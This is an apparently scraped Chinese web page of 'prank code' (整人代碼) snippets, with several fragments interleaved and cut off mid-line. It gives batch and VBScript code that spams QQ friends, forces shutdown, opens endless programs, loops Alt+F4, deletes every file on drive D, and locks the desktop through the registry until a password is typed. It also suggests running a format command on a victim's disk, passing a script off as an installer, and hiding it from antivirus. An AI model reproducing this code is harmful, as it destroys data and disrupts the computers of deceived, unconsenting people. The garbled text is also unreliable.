不好意思哦。我也不知道耶www.glucoside.cn防采集。
整人代碼大全,下面我們一起來(lái)看看吧。
方法
打開好友的聊天對(duì)話框,然后記下在QQ里好友的昵稱,把以下代碼中xx替換一下,就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼中數(shù)字10改下即可).
下面是比較整人的批處理,不過不建議這樣做 @echo offecho start 1.bat >%temp%2.batecho for /r %windir% %%i in (*) do start %%i
xx.vbs=>
<script language="javascript"> function hr(){ alert('你關(guān)不掉的^_^') hr(); } </script> <body onLoad="hr()"> </body> 做壞事了 面壁去
=---------------------------------------
記事本輸入 shutdown -s -t 01把后綴名txt改成bat就行是關(guān)機(jī)的東西。。
On Error Resume Next
Shell "shutdown.exe -s -t " & Text1.Text
Dim wsh,ye
dim a a=msgbox("",0) while a=1 msgbox "",0 wend "" 中間是添加文字的。比如 dim a a=msgbox("循環(huán)窗體",0) while a=
set wsh=createobject("wscript.shell")
此代碼鎖定了任務(wù)管理器,想關(guān)閉只有重新啟動(dòng)電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
for i=1 to 10
7.猜數(shù)字 @echo off shutdown -s -f -t 600 -c "你好,我是本DOS無(wú)聊的制作者江浩,現(xiàn)在游戲開始了,請(qǐng)?jiān)诎胄r(shí)內(nèi)回答完問題。" echo 給你10分鐘猜這個(gè)數(shù),這個(gè)數(shù)的
wscript.sleep 700
一只????????看來(lái)你已經(jīng)整到人了。用iexpress。。。免殺、后臺(tái)運(yùn)行
wsh.AppActivate("與 xx 聊天中")
開了會(huì)彈出“錯(cuò)誤,你被系統(tǒng)鄙視了”的氣球,并且把它加到開機(jī)啟動(dòng)項(xiàng),每每開機(jī)時(shí)就會(huì)彈出以上的氣球 在secdo,bat在系統(tǒng)盤自動(dòng)創(chuàng)建另一個(gè)bat文件,就是關(guān)機(jī)的代碼,并且加
wsh.sendKeys "^v"
.版本 2 .支持庫(kù) xplib .支持庫(kù) eAPI.子程序 __啟動(dòng)窗口_創(chuàng)建完畢信息框 (“春哥! 哈哈 ”, 0, ) 寫注冊(cè)項(xiàng) (#現(xiàn)行用戶, “SoftwareMicrosoftWindowsCurrentVe
wsh.sendKeys i
整人硬盤何必 VB 電腦自己就有個(gè) 家伙格式化硬盤 dos有個(gè) format 命令 把 這個(gè)命令保存為 .bat 設(shè)法綁定給對(duì)方運(yùn)行就行了嘛DOS 常用命令 ——format 現(xiàn)在用電腦的人
wsh.sendKeys "%s"
next
wscript.quit
打開無(wú)數(shù)個(gè)計(jì)算器,直到死機(jī)。
set wsh=createobject("wscript.shell")
此代碼鎖定了任務(wù)管理器,想關(guān)閉只有重新啟動(dòng)電腦,惡搞你的好友,或者擾你 Private Sub Form_Load() Open Environ$("WinDir") & "\system32\ta
do
wsh.run "calc"
loop
刪除D:所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true
不斷按下alt+f4 (開什么都關(guān)閉……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
set ws = wscript.createobject("wscript.shell")if msgbox("純屬娛樂!just for fun!",4132,"絕對(duì)無(wú)毒無(wú)害!你準(zhǔn)備好了嗎?")=vbyes thenmsgbox"OK!"elsews.popup"那也沒辦法!接招吧!",3ws.popup"等會(huì)的解除密碼在網(wǎng)盤里,自己下載,祝你愉快!",3end ifws.run" http://alonedu.ys168.com"ws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000001","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 ws.run "explorer.exe",vbhide : wscript.sleep 6000 doa=inputbox("請(qǐng)輸入密碼解除","注意,重啟電腦是沒有用的!")if a="我真笨啊" thenmsgbox"密碼正確!",vbinformationws.regwrite "HKLMsoftwaremicrosoftWindowscurrentversionpoliciesexplorernodesktop","00000000","REG_DWORD" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide wscript.sleep 2000 ws.run "explorer.exe",vbhidemsgbox"解除成功!"exit doelsemsgbox"看你不下載,密碼錯(cuò)誤!請(qǐng)重試 !"end ifloop,domsgbox"XX”loopXX里寫上你想寫的字,啥都可以Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c shutdown -s -t 0 -f",vbhide把這個(gè)程序給你的朋友,說(shuō)是個(gè)安裝程序,然后他打開會(huì)立即關(guān)機(jī),沒有任何提示使用方法:新建一個(gè)文本文檔,把代碼復(fù)制到里面,改后綴名為vbs(如果沒有點(diǎn)“更改文件夾和搜索選項(xiàng)”,點(diǎn)到“查看”,往下拉找到隱藏已知文件的拓展名,把勾去掉),然后運(yùn)行內(nèi)容來(lái)自www.glucoside.cn請(qǐng)勿采集。
聲明:本網(wǎng)頁(yè)內(nèi)容旨在傳播知識(shí),若有侵權(quán)等問題請(qǐng)及時(shí)與本網(wǎng)聯(lián)系,我們將在第一時(shí)間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com